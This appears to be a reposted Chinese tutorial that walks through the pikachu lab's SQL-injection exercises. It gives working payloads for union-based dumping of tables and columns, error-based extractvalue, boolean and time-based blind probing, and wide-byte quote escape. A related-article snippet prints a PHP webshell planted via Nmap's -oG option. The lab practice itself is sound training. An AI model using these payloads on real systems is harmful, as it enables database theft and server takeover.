pikachu靶场-SQL-Inject

介绍:

在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。
一个严重的SQL注入漏洞,可能会直接导致一家公司破产!
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。

在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!

1. 数字型注入(post):

输入框输入1,用 hackbar 分割 url ,和传参。

我们先猜想一下查询语句原理:
$id=$_POST['id'];
select name,email from users where id=1; //大概就是将输入的id传进去
构造payload:
select name,email from users where id=1 or 1 = 1;

SQL注入成功,爆出当前的所有信息,我们继续使用联合查询爆出其他信息。

select name,email from users where id=1 or 1 = 1;
select name,email from users where id=1 union select 1,2

只发现两个字段。我们去爆库,爆表啥的。

爆出数据库名:

1 union select 1,database()

爆出所有表名:

1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu'

爆破所有字段:

1  union select 1,group_concat(column_name) from information_schema.columns where table_name='member'

爆出字段信息:

1 union select 1,group_concat(username,email) from member

2. 字符型注入(get):

题目明确给出了是字符型的注入,则传递的参数在SQL语句中是有单引号或者双引号的。

我们猜测一下其原理:

语句皆为推测:
$id=$_GET["lucy"]
select username,email from users where id="$id"; //可能是单引号可能是双引号;
先考虑为 " 
lucy"# //出现报错
考虑为 ' 
lucy'# //成功查询

爆库爆表等操作直接拼接即可。

3. 搜索型注入 :

这个就类似mysql的模糊查询,关键字是like。

其语法是:

selcet * from tables where columns like '%lu%'
在此题我们同样是考虑闭合和单双引号,由上题可知这个靶场的作者用的全是单引号

我们可以看到是get传参,我们开始构造原理。

$name=$_GET[name];
select name,email from users where like '%$name%';
构造闭合:
'%xxx%'#%'---->xxx%'#
我们直接遍历当前表的数据:
xxx%'or 1=1#

4.xx型注入:

不知道什么是XX型,但是我们要清楚,不管是什么类型只要能成功闭合就NB,我们去看看后端代码:

=('')
这种形式挺好构造闭合的
=('') or 1=1#') --->') or 1=1#  //很简单

遍历数据:

5."insert/update"注入:

insert/update 再结合靶场,很明显这里是通过SQL语句的插入或者修改来存放数据。

也就是 mysql 的 插入和 修改 语句。

我们可以先看一下当前数据库,来先构造 insert 语句。

insert into member (id,username,pw,sex,phonenum,address,email) values (8,'kitha',111,'boy',111111,'usa',111);
可以用 or 来构造闭合:
题目是提交5个数据
insert into member (username,pw,sex,phonenum,address,email) values ('kitha',111,'boy',111111,'usa',111);
构造爆库payload
insert into member (username,pw,sex,phonenum,address,email) values ('1' or extractvalue(1, concat(0x7e,(select database()),0x7e)) or '',111,'boy',111111,'usa',111);
1' or extractvalue(1, concat(0x7e,(select database()),0x7e)) or '

6."delete"注入:

我们随便删一个数据,再用bp抓包看一下。

可以看到这里是把 id 直接拼接到sql语句里面。

猜测sql语句:

delect from infromation where id =$id;
$id = $_GET[id];
爆库:
1 or extractvalue(1, concat(0x7e,(select database()),0x7e))

使用bp修改数据放包。get请求记得url编码。

7."http header"注入:

有些时候,后台开发人员为了验证客户端头信息(比如常用的cookie验证)或者通过http header头信息获取客户端的一些信息,比如useragent、accept字段等等

会对客户端的http header信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑则可能会导致基于http header的SQL Inject漏洞。

我们先登录看看,很明显是后端对我们的客户端信息进行了获取。

我们用bp抓包,把 user-agent 修改,放包,查看回显,发现报错,可以判断这个存在SQL注入。这里可能是获取了user-agent 信息,再 insert 到数据库。我们直接构造payload。

报错注入:
1' or extractvalue(1, concat(0x7e,(select database()),0x7e)) or '

8. 基于boolian的盲注:

介绍:

基于boolean的盲注主要表现症状:

1.没有报错信息。

2.不管是正确的输入,还是错误的输入,都只显示两种情况 (我们可以认为是0或者1)2.在正确的输入下,输入and 1=1/and 1=2发现可以判断。

经过多次测试发现:

kobe' and 1=1#

kobe' and 1=2#

第一个有正确的回显,第二个不是,则可以判断出这个存在注入。

很明显回显只有两种,且我们的语句都为真,才能出现正确的回显。我们可以利用,length(),substr(),ascii()等等,来拼接,根据回显来一个一个来判断和获取字符。(超级麻烦,建议这种直接交给工具)。

我们先来对数据库名的长度来判断。

kobe' and length(database())>6#
kobe' and length(database())>7#

这里就可以判断出数据库的长度为7。

我们再对第一个字符进行判断。

kobe' and ascii(substr(database(),1,1))=112#  //ascii表 112对应p

这里就可以判断出数据库的第一个字符为p,以此类推可以判断出所有的字符。

9. 基于时间的盲注:

介绍:

如果说基于boolean的盲注在页面上还可以看到0 or 1的回显的话那么基于time的盲注完全就啥都看不到了!

但还有一个条件,就是“时间”,通过特定的输入,判断后台执行的时间,从而确认注入!

常用的Teat Payload: 1 and sleep(5)#

这里不管输入啥,回显都是一样的。

我们输入 kebo' sleep(5)# 页面会加载5秒才会回显 说明存在时间注入。

kobe' sleep(5)#

我们再构造payload来取数据库名的第一个字符,输入以下payload,页面加载5秒才会显说明 if 的判断为真。

kobe' and if((substr(database(),1,1))='p',sleep(5),null)# 

可以判断出,当前数据库名的第一个字符为p。

10. wide byte注入:

介绍:

phpmysql默认的字符集不同。

宽字节注入原理

在数据库中使用了宽字符集(GBK,GB2312等),除了英文都是一个字符占两字节;

MySQL在使用GBK编码的时候,会认为两个字符为一个汉字(ascii>128才能达到汉字范围);

PHP中使用addslashes函数的时候,会对单引号%27进行转义,在前边加一个反斜杠”\”,变成%5c%27;

可以在前边添加%df,形成%df%5c%27,而数据进入数据库中时前边的%df%5c两字节会被当成一个汉字;

%5c被吃掉了,单引号由此逃逸可以用来闭合语句。

使用PHP函数iconv(‘utf-8’,‘gbk’,$_GET[‘id’]),也可能导致注入产生。

' ---> \'
%27 ---> %5c%27
%df%5c%27 --->%df%5c(被当成汉字)%27

由上,我们构造 payload:

kobe%df' or 1=1#

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/405212.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

nios ii开发随笔

错误一: d:/intelfpga/17.1/nios2eds/bin/gnu/h-x86_64-mingw32/bin/../lib/gcc/nios2-elf/5.3.0/../../../../../H-x86_64-mingw32/nios2-elf/bin/ld.exe: test.elf section .text will not fit in region ram_oc_xzs d:/intelfpga/17.1/nios2eds/bin/gnu/h-x86_6…

SpringBoot项目实现文件上传,MINIO+OSS阿里云

MINIO 安装以及部署 官网:MinIO | Code and downloads to create high performance object storage 下载后是一个minio.exe的文件,可以先创一个文件夹来存放数据以及文件 在文件的目录下cmd进入控制台 minio.exe server data 启动成功后控制台会打印账…

【讨论】Web端测试和App端测试的不同,如何说得更有新意?

Web 端测试和 App 端测试是针对不同平台的上的应用进行测试,Web应用和App端的应用实现方式不同,测试时的侧重点也不一样。 Web端应用和App端应用的区别: 平台兼容性 安装方式 功能和性能 用户体验 更新和维护 测试侧重点有何不同 平台…

Android LruCache源码分析

文章目录 Android LruCache源码分析概述LruCache和LinkedHashMap关系源码分析属性写入数据读取数据删除缓存 Android LruCache源码分析 概述 LruCache(Least Recently Used Cache,最近最少使用缓存)是 Android 中的一种缓存机制。 根据数据…

robots.txt 文件规则

robots.txt 是一种用于网站根目录的文本文件,其主要目的在于指示网络爬虫(web crawlers)和其他网页机器人(bots)哪些页面可以抓取,以及哪些页面不应该被抓取。可以看作是网站和搜索引擎机器人之间的一个协议…

文章SCI/EI检索流程

前言: 想查询某篇文章是否被SCI/EI检索,以及其对应SCI/EI检索号可通过以下流程查询。 一、SCI检索 网址:https://webofscience-clarivate-cn-s.xidian.yitlink.com/wos/alldb/basic-search 搜索对应论文的题目,若有对应查询结果…

数字化转型导师坚鹏:县域数字化转型案例研究

县域数字化转型案例研究 课程背景: 很多县级政府存在以下问题: 不清楚县域数字化转型的发展模式 不清楚县域数字化转型的成功案例 课程特色: 针对性强 实用性强 创新性强 学员收获: 学习县域数字化转型的发展模式。 学习县…

命令执行 [网鼎杯 2020 朱雀组]Nmap1

打开题目 输入127.0.0.1 可以得到回显结果&#xff0c;猜测是命令执行&#xff0c;尝试使用|分隔地址与命令 127.0.0.1 | ls 可以看到|被\转义&#xff0c;尝试使用;&#xff1a; 直接放入Payload: <?php eval($_POST["hack"]);?> -oG hack.php 尝试修改文…

性能测试的几个指标范围(CPU,内存,IO,网络)

性能测试中&#xff0c;对服务端的指标监控也是很重要的一个环节。通过对各项服务器性能指标的监控分析&#xff0c;可以定位到性能瓶颈。 后端性能指标有 CPU&#xff0c;内存&#xff0c;网络&#xff0c;jvm&#xff0c;I/O 等等 分析思路 整体系统 CPU 利用率 内存利用…

Unicode转换 [ASIS 2019]Unicorn shop1

打开题目 点击进去之后是一个购买独角兽的界面&#xff0c;有四种类型的独角兽&#xff0c;前三种的价格比较便宜&#xff0c;最后的独角兽价格比较贵。 我们先尝试购买前三种独角兽&#xff0c;输入id&#xff0c;然后price输入9 我们直接查看源代码 可以看到在charset"…

动态规划-

关键词&#xff1a; 重叠子问题&#xff1b;每一个状态一定是由上一个状态推导出来(类似数列a^n f(a^n-1,a^n-2)) 步骤&#xff1a; 确定dp数组&#xff08;dp table&#xff09;以及下标的含义确定递推公式dp数组如何初始化确定遍历顺序举例推导dp数组 题目&#…

煤炭开采和洗选厂5G数字孪生可视化平台,推进煤炭洗选行业数字化转型

煤炭开采和洗选厂5G数字孪生可视化平台&#xff0c;推进煤炭洗选行业数字化转型。在煤炭行业中&#xff0c;数字孪生技术的应用正在逐渐普及&#xff0c;为煤炭开采和洗选厂的数字化转型提供了强有力的支持。数字孪生可视化平台作为数字孪生技术的重要组成部分&#xff0c;能够…

第七篇【传奇开心果系列】python的文本和语音相互转换库技术点案例示例:Sphinx自动电话系统(IVR)经典案例

传奇开心果博文系列 系列博文目录python的文本和语音相互转换库技术点案例示例系列 博文目录前言一、雏形示例代码二、扩展思路介绍三、Sphinx多语言支持示例代码四、Sphinx和语音合成库集成示例代码五、Sphinx语音识别前自然语言预处理示例代码六、Sphinx语音识别自动电话系统…

商家如何在短视频平台布局电商?在2024年实现财富自由!

我是电商珠珠 目前短视频电商成为了当今的主流趋势&#xff0c;比如视频号、抖音这些&#xff0c;成为了短视频的主流。大家都知道抖音短视频上直播带货的很多&#xff0c;只要把握住流量&#xff0c;就能顺势起飞。 看着别人一条视频几十万的点赞&#xff0c;接一条广告十几…

springboot211基于springboot医疗报销系统的设计与实现

医疗报销系统的设计与实现 摘 要 传统信息的管理大部分依赖于管理人员的手工登记与管理&#xff0c;然而&#xff0c;随着近些年信息技术的迅猛发展&#xff0c;让许多比较老套的信息管理模式进行了更新迭代&#xff0c;报销单信息因为其管理内容繁杂&#xff0c;管理数量繁多…

SpringCloud-Gateway解决跨域问题

Spring Cloud Gateway是一个基于Spring Framework的微服务网关&#xff0c;用于构建可扩展的分布式系统。在处理跨域问题时&#xff0c;可以通过配置网关来实现跨域资源共享&#xff08;CORS&#xff09;。要解决跨域问题&#xff0c;首先需要在网关的配置文件中添加相关的跨域…

CrossOver2024虚拟机软件的优缺点分别是什么?

CrossOver虚拟机软件的优缺点分别如下&#xff1a; 优点&#xff1a; 无需双系统&#xff1a;用户可以在Mac或Linux系统上直接运行Windows应用程序&#xff0c;无需安装双系统&#xff0c;从而节省了硬盘空间并避免了系统切换的麻烦。易于安装和使用&#xff1a;CrossOver具有…

LabVIEW多场景微振动测试平台与教学应用

LabVIEW多场景微振动测试平台与教学应用 在多种工程实践中&#xff0c;微振动的测试与分析对于评估结构的稳定性及其对环境的影响至关重要。针对这一需求&#xff0c;开发了一套基于NI-cDAQ和LabVIEW的多场景微振动测试平台&#xff0c;提高微振动测试的精确度与灵活性&#x…

【某机构vip教程】Selenium(7):元素定位_css_selecto定位

Css_selector是什么 CSS是一个被用来描述如何在屏幕等处渲染HTML和XML文档的语言。CSS使用选择器来为文档中的元素绑定样式属性。 选择器&#xff08;selector&#xff09;是用来在树中匹配元素的模式&#xff0c;选择器对HTML和XML进行了优化&#xff0c;被设计用来在注重性能…

【无标题】旋转链表与力扣报错:member access within null pointer of type ‘struct ListNode‘

项目场景&#xff1a; 做单链表反转题目&#xff0c;报错&#xff1a;member access within null pointer of type ‘struct ListNode’ 题目链接:LINK 问题描述 我明明在初始化指针时候&#xff0c;已经处理了n2->next情况却依然报错 这个报错提示含义是&#xff1a;大概就…